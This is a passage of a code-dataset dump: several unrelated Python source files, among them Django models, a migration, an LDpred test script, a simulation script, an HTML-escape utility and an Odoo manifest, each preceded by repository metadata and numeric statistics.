datasets) pass
34.020408
85
0.757648
208
1,667
5.817308
0.322115
0.059504
0.024793
0.03719
0
0
0
0
0
0
0
0.002913
0.176365
1,667
48
86
34.729167
0.878369
0.024595
0
0
0
0
0.021552
0
0
0
0
0.020833
0.025641
1
0.076923
false
0.025641
0.307692
0
0.461538
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
2
c7aa933fac1d8c47ead53a24d0503a1080bf6ea3
1,156
py
Python
Home/models.py
Web-Dev-Grp-Projects/DBMS
e5880252ed0994d233fbc0b282fff5c077bdc0b9
[ "MIT" ]
3
2022-02-05T17:04:18.000Z
2022-03-31T14:45:03.000Z
Home/models.py
Web-Dev-Grp-Projects/DBMS
e5880252ed0994d233fbc0b282fff5c077bdc0b9
[ "MIT" ]
null
null
null
Home/models.py
Web-Dev-Grp-Projects/DBMS
e5880252ed0994d233fbc0b282fff5c077bdc0b9
[ "MIT" ]
1
2022-03-26T10:53:08.000Z
2022-03-26T10:53:08.000Z
from django.db import models from django.contrib import admin # Create your models here. class VaccineCenterDetails(models.Model): Center_Id = models.IntegerField(primary_key = True) pin_code = models.IntegerField() VaccineCenterName = models.CharField(max_length = 255) address = models.CharField(max_length = 255) def __str__(self): return self.VaccineCenterName class VaccineDetails(models.Model): Vaccine_ID = models.IntegerField(primary_key = True) Center = models.ForeignKey(VaccineCenterDetails, on_delete = models.CASCADE) type_of_vaccine = models.CharField(max_length = 255) availability = models.IntegerField() def __str__(self): return self.type_of_vaccine class BookingDetails(models.Model): username = models.CharField(max_length=255) aadhar = models.BigIntegerField() name = models.CharField(max_length = 255) # vaccine = models.ForeignKey(VaccineDetails, on_delete = models.CASCADE) vaccine = models.IntegerField() status = models.BooleanField(default = False) date = models.DateField() def __str__(self): return self.username
35.030303
80
0.728374
129
1,156
6.310078
0.395349
0.110565
0.110565
0.14742
0.323096
0.083538
0
0
0
0
0
0.015873
0.182526
1,156
33
81
35.030303
0.845503
0.083045
0
0.12
0
0
0
0
0
0
0
0
0
1
0.12
false
0
0.08
0.12
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
c7ae8cc23a6fbeef3e762a483e9904ea43fde7b0
731
py
Python
src/s2e2/operators/__init__.py
mzinin/s2e2.python
1d7776be32a34c37174bbb4257ff99f4c340b7ac
[ "MIT" ]
null
null
null
src/s2e2/operators/__init__.py
mzinin/s2e2.python
1d7776be32a34c37174bbb4257ff99f4c340b7ac
[ "MIT" ]
null
null
null
src/s2e2/operators/__init__.py
mzinin/s2e2.python
1d7776be32a34c37174bbb4257ff99f4c340b7ac
[ "MIT" ]
null
null
null
from .operator import Operator from .operator_and import OperatorAnd from .operator_equal import OperatorEqual from .operator_greater_or_equal import OperatorGreaterOrEqual from .operator_greater import OperatorGreater from .operator_less_or_equal import OperatorLessOrEqual from .operator_less import OperatorLess from .operator_not_equal import OperatorNotEqual from .operator_not import OperatorNot from .operator_or import OperatorOr from .operator_plus import OperatorPlus __all__ = ( 'Operator', 'OperatorAnd', 'OperatorEqual', 'OperatorGreaterOrEqual', 'OperatorGreater', 'OperatorLessOrEqual', 'OperatorLess', 'OperatorNotEqual', 'OperatorNot', 'OperatorOr', 'OperatorPlus', )
27.074074
61
0.792066
71
731
7.887324
0.295775
0.235714
0.067857
0
0
0
0
0
0
0
0
0
0.143639
731
26
62
28.115385
0.894569
0
0
0
0
0
0.20383
0.030096
0
0
0
0
0
1
0
false
0
0.458333
0
0.458333
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
c7b22a2a69b1a6118fccff70ceab7f8f1b6b9d99
222
py
Python
trend/src/example_client.py
limingmax/WFCode
f2e6d2fcf05ad9fdaac3a69603afee047ed37ca3
[ "Apache-2.0" ]
2
2018-10-23T01:56:46.000Z
2018-10-23T01:56:49.000Z
trend/src/example_client.py
limingmax/WFCode
f2e6d2fcf05ad9fdaac3a69603afee047ed37ca3
[ "Apache-2.0" ]
null
null
null
trend/src/example_client.py
limingmax/WFCode
f2e6d2fcf05ad9fdaac3a69603afee047ed37ca3
[ "Apache-2.0" ]
null
null
null
# @Time : 2018-10-24 # @Author : zxh # 测试 import requests r = requests.get('http://192.168.213.51:8899/test1') print(r.json()) r = requests.post('http://192.168.213.51:8899/test1', json={'key': 1}) print(r.json())
14.8
70
0.621622
38
222
3.631579
0.605263
0.130435
0.144928
0.188406
0.347826
0.347826
0.347826
0
0
0
0
0.213542
0.135135
222
15
71
14.8
0.505208
0.166667
0
0.4
0
0
0.368132
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.4
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c7bc6f89d06e82d7772dfc95107d797864bd56e5
1,079
py
Python
amy/workshops/migrations/0217_auto_20200615_1436.py
code-review-doctor/amy
268c1a199510457891459f3ddd73fcce7fe2b974
[ "MIT" ]
53
2015-01-10T17:39:19.000Z
2019-06-12T17:36:34.000Z
amy/workshops/migrations/0217_auto_20200615_1436.py
code-review-doctor/amy
268c1a199510457891459f3ddd73fcce7fe2b974
[ "MIT" ]
1,176
2015-01-02T06:32:47.000Z
2019-06-18T11:57:47.000Z
amy/workshops/migrations/0217_auto_20200615_1436.py
code-review-doctor/amy
268c1a199510457891459f3ddd73fcce7fe2b974
[ "MIT" ]
44
2015-01-03T15:08:56.000Z
2019-06-09T05:33:08.000Z
# Generated by Django 2.2.10 on 2020-06-15 14:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('workshops', '0216_workshoprequest_instructor_availability'), ] operations = [ migrations.AlterField( model_name='workshoprequest', name='number_attendees', field=models.CharField(choices=[('10-40', '10-40 (one room, two instructors)'), ('40-80', '40-80 (two rooms, four instructors)'), ('80-120', '80-120 (three rooms, six instructors)')], default=None, help_text="These recommendations are for in-person workshops. This number doesn't need to be precise, but will help us decide how many instructors your workshop will need. Each workshop must have at least two instructors.<br>For online Carpentries workshops, we recommend a maximum of 20 learners per class. If your workshop attendance will exceed 20 learners please be sure to include a note in the comments section below. ", max_length=15, verbose_name='Anticipated number of attendees'), ), ]
56.789474
700
0.715477
147
1,079
5.197279
0.680272
0.010471
0
0
0
0
0
0
0
0
0
0.059158
0.185357
1,079
18
701
59.944444
0.810011
0.042632
0
0
1
0.083333
0.629486
0.042677
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c7bc6fdbd7c341f8f315dd0691c8bf464318b58b
483
py
Python
Dragon/python/dragon/vm/tensorflow/training/training.py
neopenx/Dragon
0e639a7319035ddc81918bd3df059230436ee0a1
[ "BSD-2-Clause" ]
212
2015-07-05T07:57:17.000Z
2022-02-27T01:55:35.000Z
Dragon/python/dragon/vm/tensorflow/training/training.py
neopenx/Dragon
0e639a7319035ddc81918bd3df059230436ee0a1
[ "BSD-2-Clause" ]
6
2016-07-07T14:31:56.000Z
2017-12-12T02:21:15.000Z
Dragon/python/dragon/vm/tensorflow/training/training.py
neopenx/Dragon
0e639a7319035ddc81918bd3df059230436ee0a1
[ "BSD-2-Clause" ]
71
2016-03-24T09:02:41.000Z
2021-06-03T01:52:41.000Z
# -------------------------------------------------------- # TensorFlow @ Dragon # Copyright(c) 2017 SeetaTech # Written by Ting Pan # -------------------------------------------------------- from dragon.vm.tensorflow.training.optimizer import GradientDescentOptimizer, \ MomentumOptimizer, \ RMSPropOptimizer, \ AdamOptimizer
48.3
79
0.351967
21
483
8.095238
0.904762
0
0
0
0
0
0
0
0
0
0
0.013333
0.378882
483
10
80
48.3
0.553333
0.374741
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
c7c58119a2258d2c959d0bae93071ee5a1ec7a58
1,793
py
Python
test.py
FINNGEN/ldpred
f7a7dfa594f789228af001fb5e59445bfaf94514
[ "MIT" ]
null
null
null
test.py
FINNGEN/ldpred
f7a7dfa594f789228af001fb5e59445bfaf94514
[ "MIT" ]
null
null
null
test.py
FINNGEN/ldpred
f7a7dfa594f789228af001fb5e59445bfaf94514
[ "MIT" ]
1
2020-07-27T19:20:14.000Z
2020-07-27T19:20:14.000Z
""" A test file for LDpred. """ import tempfile import os tf = tempfile.NamedTemporaryFile() tmp_file_prefix = next(tempfile._get_candidate_names()) print 'Testing LDpred.\n' print 'Note that this test currently only tests the core functionality of LDpred.' print 'Please report bugs on gihub (https://github.com/bvilhjal/ldpred) or to Bjarni J Vilhjalmsson (bjarni.vilhjalmsson@gmail.com).\n' coord_file = tmp_file_prefix + '.coord.hdf5' print 'Coordinating test data into file %s' % coord_file cmd_str = 'python ./ldpred/coord_genotypes.py --gf=./test_data/LDpred_data_p0.001_train_0 --vgf=./test_data/LDpred_data_p0.001_test_0 --ssf=./test_data/LDpred_data_p0.001_ss_0.txt --N=10000 --out=%s' % coord_file print cmd_str + '\n' assert os.system(cmd_str) == 0, 'Problems when coordinating data! Testing stopped' out_file = tmp_file_prefix + '.res' print 'Coordinating test data with LD file and results file prefix: %s ' % tmp_file_prefix cmd_str = 'python ./ldpred/LDpred.py --coord=%s --ld_radius=100 --local_ld_file_prefix=%s --PS=0.001 --N=10000 --out=%s' % (coord_file, tmp_file_prefix, tmp_file_prefix) print cmd_str + '\n' assert os.system(cmd_str) == 0, 'Problems when running LDpred! Testing stopped' out_file = tmp_file_prefix + '.res' print 'Validating results with output file prefix: %s' % tmp_file_prefix cmd_str = 'python ./ldpred/validate.py --vgf=./test_data/LDpred_data_p0.001_test_0 --rf=%s --out=%s' % (tmp_file_prefix, tmp_file_prefix) print cmd_str + '\n' assert os.system(cmd_str) == 0, 'Problems with the validation step! Testing stopped' print 'Cleaning up files.' cmd_str = 'rm %s*' % tmp_file_prefix print cmd_str + '\n' assert os.system(cmd_str) == 0, 'Problems cleaning up test files! Testing stopped' print 'Test finished successfully!'
44.825
213
0.744004
290
1,793
4.365517
0.32069
0.110585
0.112954
0.053712
0.452607
0.435229
0.368878
0.368878
0.368878
0.253555
0
0.02682
0.126603
1,793
39
214
45.974359
0.781609
0
0
0.222222
0
0.148148
0.58286
0.14756
0
0
0
0
0.148148
0
null
null
0
0.074074
null
null
0.444444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
2
c7c624f918cfc76f4211ac1b38db6574da74f7b9
309
py
Python
src/otoole/visualise/__init__.py
chrwm/otoole
f527eb1fdf75cc6872457a6e5145f678f5d34693
[ "MIT" ]
8
2019-11-04T10:08:36.000Z
2022-01-14T22:14:31.000Z
src/otoole/visualise/__init__.py
chrwm/otoole
f527eb1fdf75cc6872457a6e5145f678f5d34693
[ "MIT" ]
88
2019-10-01T08:06:00.000Z
2022-03-24T17:24:35.000Z
src/otoole/visualise/__init__.py
chrwm/otoole
f527eb1fdf75cc6872457a6e5145f678f5d34693
[ "MIT" ]
11
2019-09-24T14:11:04.000Z
2022-02-16T16:20:26.000Z
"""Visualise different aspects of an OSeMOSYS model and data Provides the following commands:: otoole viz res <path_to_datapackage.json> <path_to_res_image> ``otoole viz res`` generates an image of the reference energy system in a datapackage """ from .res import create_res __all__ = ["create_res"]
23.769231
85
0.76699
46
309
4.913043
0.673913
0.079646
0.106195
0
0
0
0
0
0
0
0
0
0.158576
309
12
86
25.75
0.869231
0.796117
0
0
1
0
0.181818
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
c7d600d9983b60b55ef765b6f6c052c909f844dc
1,800
py
Python
parser/fase2/team24/c3d.py
estabanmike/tytus
b43684b31d7b140fea1724b55e5c62b6a8c2672b
[ "MIT" ]
null
null
null
parser/fase2/team24/c3d.py
estabanmike/tytus
b43684b31d7b140fea1724b55e5c62b6a8c2672b
[ "MIT" ]
null
null
null
parser/fase2/team24/c3d.py
estabanmike/tytus
b43684b31d7b140fea1724b55e5c62b6a8c2672b
[ "MIT" ]
4
2020-12-19T17:12:13.000Z
2021-01-07T20:29:53.000Z
from datetime import date from variables import tabla as ts from variables import NombreDB from variables import cont import tablaDGA as TAS import sql as sql import mathtrig as mt from reportTable import * pila = [] for i in range(100): pila.append(i) def ejecutar(): global cont global ts NombreDB = ts.nameDB sql.execute("CREATE DATABASE DBFase2;") sql.execute("USE DATABASE DBFase2;") NombreDB = ts.nameDB sql.execute("CREATE TABLE tbProducto(idproducto integer NOT NULL PRIMARY KEY,producto varchar(150) NOT NULL,fechacreacion date NOT NULL,estado integer);") sql.execute("CREATE TABLE tbCalificacion(idcalifica integer NOT NULL PRIMARY KEY,item varchar(100) NOT NULL,punteo integer NOT NULL);") sql.execute("INSERT INTO tbProducto VALUES('1.0',''Laptop Lenovo'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('2.0',''Bateria para Laptop Lenovo T420'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('3.0',''Teclado Inalambrico'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('4.0',''Mouse Inalambrico'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('5.0',''WIFI USB'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('6.0',''Laptop HP'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('7.0',''Teclado Flexible USB'',2021-01-07 00:00:00,'1.0');") sql.execute("INSERT INTO tbProducto VALUES('8.0',''Laptop Samsung'',''2021-01-02'','1.0');") n_db = ts.buscarIDTB(NombreDB) NuevoSimbolo = TAS.Simbolo(cont,'myFuncion',TAS.TIPO.FUNCTION,n_db) ts.agregar(NuevoSimbolo) cont+=1 sql.execute('SELECT * FROM temp') graphTable(ts) def myFuncion(): texto = pila[0] t0 = texto pila[10] = t0 ejecutar()
38.297872
155
0.715556
289
1,800
4.449827
0.32526
0.043546
0.099533
0.124417
0.419907
0.382582
0.304821
0.304821
0.304821
0.304821
0
0.099747
0.12
1,800
47
156
38.297872
0.712121
0
0
0.051282
0
0.25641
0.556111
0.141667
0
0
0
0
0
0
null
null
0
0.205128
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
c7d9197d39c192111bb66d49f5347237d455d1de
2,506
py
Python
code/example_simulation.py
YvonneKrumbeck/Mating-Type-Model
000e78d404ffd1ee44dfb816acdf22076a40f3cd
[ "BSD-3-Clause" ]
null
null
null
code/example_simulation.py
YvonneKrumbeck/Mating-Type-Model
000e78d404ffd1ee44dfb816acdf22076a40f3cd
[ "BSD-3-Clause" ]
null
null
null
code/example_simulation.py
YvonneKrumbeck/Mating-Type-Model
000e78d404ffd1ee44dfb816acdf22076a40f3cd
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # # Example Simulation # In[2]: import matplotlib.pyplot as plt from MatingTypeModel import Model, get_distr_normal # ## Setting parameters and initialising simulation # The model takes the following optional keyword arguments (default values defined in `MatingTypeModel.py` otherwise) # - `m0` : initial number of mating types # - `c` : clonal reproduction rate # - `distr_r` : relative fitness distribution for mutant mating types # - `r0` : initial fitness values of initial mating types # In[3]: n_mut_max = 30 # max number of mutations model1 = Model(distr_r=get_distr_normal(mean=0,variance=0)) model2 = Model() # ## Main loop # In[4]: m1 = [] m2 = [] for i in range(n_mut_max): model1.get_fixedPoint_stable() model2.get_fixedPoint_stable() m1.append(model1.data()['m']) m2.append(model2.data()['m']) model1.mutate() model2.mutate() #print(model1.data()) # view data stored for this simulation # ## Plot # In[8]: fig, ax = plt.subplots() ax.set_ylabel(r'Number of mating types $M$'); ax.set_xlabel(r'$t$ (in mutation time)'); ax.plot(m1, label=r'Variance = 0'); ax.plot(m2, label=r'Variance = 0.001'); ax.legend(); plt.show() # Timeseries for the number of mating types with # - No fitness differences # - Small fitness differences (normally distributed) # ## Other fitness distributions # The example above uses a normal distribution for the mutant fitness values. For other distributions define a function that takes an integer `n` as argument and returns `n` values drawn from the distribution. Then feed the function as `distr_r` keyword argument when initialising an instance of `Model`. Use a wrapper function to set distribution parameters (see examples below). # In[7]: # Normal distribution def get_distr_normal(mean, variance): def distr_normal(n): return np.random.normal(mean, scale=np.sqrt(variance), size=n) return distr_normal # Delta distribution def get_distr_delta(peak_position): def distr_delta(n): return peak_position *np.ones(n) return distr_delta # Uniform distribution def get_distr_uniform(low, variance): def distr_uniform(n): return low +np.sqrt(12*variance) *np.random.random(size=n) return distr_uniform # Exponential distribution def get_distr_exp(low, scale): def distr_exponential(n): return low +np.random.exponential(scale, size=n) return distr_exp
23.203704
380
0.704709
356
2,506
4.86236
0.401685
0.032351
0.041594
0.053148
0
0
0
0
0
0
0
0.016724
0.188747
2,506
107
381
23.420561
0.834727
0.465283
0
0
0
0
0.059908
0
0
0
0
0
0
1
0.216216
false
0
0.054054
0.108108
0.486486
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
c7f2d5677ffce2c93adeeaea5f65f801deaf5ed2
2,033
py
Python
project/kay/ext/gaema/escape.py
yosukesuzuki/let-me-notify
39f50214403822712329c1cd953167d6e9b315d6
[ "MIT" ]
1
2020-09-13T06:56:22.000Z
2020-09-13T06:56:22.000Z
project/kay/ext/gaema/escape.py
yosukesuzuki/let-me-notify
39f50214403822712329c1cd953167d6e9b315d6
[ "MIT" ]
null
null
null
project/kay/ext/gaema/escape.py
yosukesuzuki/let-me-notify
39f50214403822712329c1cd953167d6e9b315d6
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ gaema.escape ~~~~~~~~~~~~ Escaping/unescaping methods for HTML, JSON, URLs, and others. :copyright: 2009 by Facebook. :license: Apache License Version 2.0. See LICENSE.txt for more details. """ import htmlentitydefs import re import xml.sax.saxutils import urllib import json def xhtml_escape(value): """Escapes a string so it is valid within XML or XHTML.""" return utf8(xml.sax.saxutils.escape(value)) def xhtml_unescape(value): """Un-escapes an XML-escaped string.""" return re.sub(r"&(#?)(\w+?);", _convert_entity, _unicode(value)) def json_encode(value): """JSON-encodes the given Python object.""" return json.dumps(value) def json_decode(value): """Returns Python objects for the given JSON string.""" return json.loads(_unicode(value)) def squeeze(value): """Replace all sequences of whitespace chars with a single space.""" return re.sub(r"[\x00-\x20]+", " ", value).strip() def url_escape(value): """Returns a valid URL-encoded version of the given value.""" return urllib.quote_plus(utf8(value)) def url_unescape(value): """Decodes the given value from a URL.""" return _unicode(urllib.unquote_plus(value)) def utf8(value): if isinstance(value, unicode): return value.encode("utf-8") assert isinstance(value, str) return value def _unicode(value): if isinstance(value, str): return value.decode("utf-8") assert isinstance(value, unicode) return value def _convert_entity(m): if m.group(1) == "#": try: return unichr(int(m.group(2))) except ValueError: return "&#%s;" % m.group(2) try: return _HTML_UNICODE_MAP[m.group(2)] except KeyError: return "&%s;" % m.group(2) def _build_unicode_map(): unicode_map = {} for name, value in htmlentitydefs.name2codepoint.iteritems(): unicode_map[name] = unichr(value) return unicode_map _HTML_UNICODE_MAP = _build_unicode_map()
23.917647
75
0.654206
272
2,033
4.775735
0.400735
0.049269
0.021555
0.018476
0.13241
0
0
0
0
0
0
0.013665
0.208067
2,033
84
76
24.202381
0.793168
0.267585
0
0.088889
0
0
0.031557
0
0
0
0
0
0.044444
1
0.244444
false
0
0.111111
0
0.711111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1be2b46419d70711e948620141fde35f8a569862
517
py
Python
examples/message/src/message_handler.py
jnfang/pact-python
c4fe4220d1a4e26c939ed0dc4cd977e82183cdb3
[ "MIT" ]
428
2017-03-31T10:18:10.000Z
2022-03-23T14:37:14.000Z
examples/message/src/message_handler.py
jnfang/pact-python
c4fe4220d1a4e26c939ed0dc4cd977e82183cdb3
[ "MIT" ]
217
2017-04-01T05:21:59.000Z
2022-03-25T16:23:04.000Z
examples/message/src/message_handler.py
jnfang/pact-python
c4fe4220d1a4e26c939ed0dc4cd977e82183cdb3
[ "MIT" ]
121
2017-05-17T09:50:28.000Z
2022-03-24T12:32:42.000Z
class CustomError(Exception): def __init__(self, *args): if args: self.topic = args[0] else: self.topic = None def __str__(self): if self.topic: return 'Custom Error:, {0}'.format(self.topic) class MessageHandler(object): def __init__(self, event): self.pass_event(event) @staticmethod def pass_event(event): if event.get('documentType') != 'microsoft-word': raise CustomError("Not correct document type")
25.85
58
0.591876
58
517
5.034483
0.534483
0.123288
0.075342
0
0
0
0
0
0
0
0
0.005464
0.29207
517
19
59
27.210526
0.79235
0
0
0
0
0
0.133462
0
0
0
0
0
0
1
0.25
false
0.125
0
0
0.4375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
1bee3641d8cf8bbef35c9b6decd6e04d96f27508
1,272
py
Python
wikidict/constants.py
tllilleh/ebook-reader-dict
b8ce60b20abb6fbfe2d36120e9d28632af2909ee
[ "MIT" ]
null
null
null
wikidict/constants.py
tllilleh/ebook-reader-dict
b8ce60b20abb6fbfe2d36120e9d28632af2909ee
[ "MIT" ]
null
null
null
wikidict/constants.py
tllilleh/ebook-reader-dict
b8ce60b20abb6fbfe2d36120e9d28632af2909ee
[ "MIT" ]
null
null
null
"""Shared constants.""" # Wiktionary dump URL # {0}: current locale # {1}: dump date BASE_URL = "https://dumps.wikimedia.org/{0}wiktionary" DUMP_URL = f"{BASE_URL}/{{1}}/{{0}}wiktionary-{{1}}-pages-meta-current.xml.bz2" # GitHub stuff # {0}: current locale REPOS = "BoboTiG/ebook-reader-dict" GH_REPOS = f"https://github.com/{REPOS}" RELEASE_URL = f"https://api.github.com/repos/{REPOS}/releases/tags/{{0}}" DOWNLOAD_URL_DICTFILE = f"{GH_REPOS}/releases/download/{{0}}/dict-{{0}}.df" DOWNLOAD_URL_KOBO = f"{GH_REPOS}/releases/download/{{0}}/dicthtml-{{0}}.zip" DOWNLOAD_URL_STARDICT = f"{GH_REPOS}/releases/download/{{0}}/dict-{{0}}.zip" # HTML formatting for each word # TODO: move that into the dict specific class WORD_FORMAT = """ <w> <p> <a name="{word}"/><b>{current_word}</b>{pronunciation}{genre} <ol>{definitions}</ol> <br/> {etymology} </p> {var} </w> """ # Inline CSS for inline images handling <math> tags. IMG_CSS = ";".join( [ # try to keep a height proportional to the current font height "height: 100%", "max-height: 0.8em", "width: auto", # and adjust the vertical alignment to not alter the line height "vertical-align: bottom", ] ).replace(" ", "")
29.581395
79
0.628931
177
1,272
4.423729
0.525424
0.03576
0.030651
0.061303
0.108557
0.108557
0.076628
0.076628
0
0
0
0.019139
0.178459
1,272
42
80
30.285714
0.730144
0.279874
0
0
0
0
0.664817
0.355161
0
0
0
0.02381
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
2
1bee82bd576db20951094f8189b99abc7883f626
845
py
Python
demo/testsuite-python/test_user_interact.py
Luxoft/Twister
21fc0ed0a65a0ec02b0a39b411312f64c7f98eb3
[ "Apache-2.0" ]
19
2015-01-29T11:02:42.000Z
2021-06-03T11:45:42.000Z
demo/testsuite-python/test_user_interact.py
Luxoft/Twister
21fc0ed0a65a0ec02b0a39b411312f64c7f98eb3
[ "Apache-2.0" ]
47
2015-01-02T11:39:39.000Z
2022-02-05T11:29:07.000Z
demo/testsuite-python/test_user_interact.py
Luxoft/Twister
21fc0ed0a65a0ec02b0a39b411312f64c7f98eb3
[ "Apache-2.0" ]
10
2015-01-12T07:24:39.000Z
2017-11-05T00:17:30.000Z
# # version: 1.000 # <title>test_user_interact file</title> # <description>...</description> # <tags>tag1!tag2, tag3@tag4; **&&$$</tags> # <meta1><Dudu><Testing inside></test></meta1> # <meta2>### # ###</meta2> # # `USER`, `EP`, `SUITE_NAME` and `FILE_NAME` are magic variables, # injected inside all Twister tests. import time print 'I am test_user_interact file.' # interact(`interact type`, `message`, `timeout in seconds as integer`, `options, only for options interact type`) # TscCommonLib library must be set interact('msg', 'This is first message! {}'.format(EP), 10) time.sleep(3) interact('input', 'This is first input!', 8) time.sleep(3) interact('decide', 'Do you want to continue ?', 8) time.sleep(3) options = {'options':[4,2,3,5], 'default':7} interact('options', 'Select one option !', 20, options) _RESULT = 'PASS' #
22.837838
114
0.669822
119
845
4.697479
0.647059
0.048301
0.053667
0.071556
0
0
0
0
0
0
0
0.035568
0.134911
845
36
115
23.472222
0.729138
0.512426
0
0.272727
0
0
0.402564
0
0
0
0
0
0
0
null
null
0.090909
0.090909
null
null
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
1beef467785940646bce23368b33160fae60691a
946
py
Python
suldocs/migrations/0003_auto_20190907_1234.py
suldoc/djangoAPI
dd85ffcec0fba7ec98097ebf41f374781c47f1cc
[ "Apache-2.0" ]
null
null
null
suldocs/migrations/0003_auto_20190907_1234.py
suldoc/djangoAPI
dd85ffcec0fba7ec98097ebf41f374781c47f1cc
[ "Apache-2.0" ]
1
2019-08-21T07:40:57.000Z
2019-08-21T07:40:57.000Z
suldocs/migrations/0003_auto_20190907_1234.py
suldoc/djangoAPI
dd85ffcec0fba7ec98097ebf41f374781c47f1cc
[ "Apache-2.0" ]
null
null
null
# Generated by Django 2.2.4 on 2019-09-07 12:34 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('suldocs', '0002_user'), ] operations = [ migrations.RenameModel( old_name='Taste_note', new_name='TasteNoteModel', ), migrations.RenameField( model_name='tastenotemodel', old_name='create_at', new_name='created_at', ), migrations.RenameField( model_name='tastenotemodel', old_name='update_at', new_name='updated_at', ), migrations.RemoveField( model_name='user', name='affiliation', ), migrations.RemoveField( model_name='user', name='iam_key', ), migrations.RemoveField( model_name='user', name='iam_value', ), ]
23.65
47
0.526427
84
946
5.702381
0.488095
0.093946
0.162839
0.187891
0.463466
0.463466
0.384134
0
0
0
0
0.031509
0.362579
946
39
48
24.25641
0.762852
0.047569
0
0.484848
1
0
0.16129
0
0
0
0
0
0
1
0
false
0
0.030303
0
0.121212
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1bf059d4a3c1472ead846459e9e2b8efaed66be3
1,974
py
Python
pos_debt_notebook/__manifest__.py
mosadiqit/pos-addons
6cac2b7d227bddbec5f9d0c69859e626f2e9dc73
[ "MIT" ]
null
null
null
pos_debt_notebook/__manifest__.py
mosadiqit/pos-addons
6cac2b7d227bddbec5f9d0c69859e626f2e9dc73
[ "MIT" ]
null
null
null
pos_debt_notebook/__manifest__.py
mosadiqit/pos-addons
6cac2b7d227bddbec5f9d0c69859e626f2e9dc73
[ "MIT" ]
3
2021-06-15T05:45:42.000Z
2021-07-27T12:28:53.000Z
# Copyright 2014-2019 Ivan Yelizariev <https://it-projects.info/team/yelizariev> # Copyright 2015 Bassirou Ndaw <https://github.com/bassn> # Copyright 2015 Alexis de Lattre <https://github.com/alexis-via> # Copyright 2016-2017 Stanislav Krotov <https://it-projects.info/team/ufaks> # Copyright 2017 Ilmir Karamov <https://it-projects.info/team/ilmir-k> # Copyright 2017 Artyom Losev # Copyright 2017 Lilia Salihova # Copyright 2017-2018 Gabbasov Dinar <https://it-projects.info/team/GabbasovDinar> # Copyright 2018 Kolushov Alexandr <https://it-projects.info/team/KolushovAlexandr> # License MIT (https://opensource.org/licenses/MIT). { "name": "POS: Prepaid credits", "summary": "Comfortable sales for your regular customers. Debt payment method for POS", "category": "Point Of Sale", "images": ["images/debt_notebook.png"], "version": "12.0.5.3.2", "author": "IT-Projects LLC, Ivan Yelizariev", "support": "apps@itpp.dev", "website": "https://apps.odoo.com/apps/modules/12.0/pos_debt_notebook/", "license": "Other OSI approved licence", # MIT "price": 280.00, "currency": "EUR", "external_dependencies": {"python": [], "bin": []}, "depends": ["point_of_sale"], "data": [ "security/pos_debt_notebook_security.xml", "data/product.xml", "views/pos_debt_report_view.xml", "views.xml", "views/pos_credit_update.xml", "wizard/pos_credit_invoices_views.xml", "wizard/pos_credit_company_invoices_views.xml", "data.xml", "security/ir.model.access.csv", ], "qweb": ["static/src/xml/pos.xml"], "demo": ["data/demo.xml"], "installable": True, "uninstall_hook": "pre_uninstall", "demo_title": "POS Debt/Credit Notebook", "demo_addons": [], "demo_addons_hidden": [], "demo_url": "pos-debt-notebook", "demo_summary": 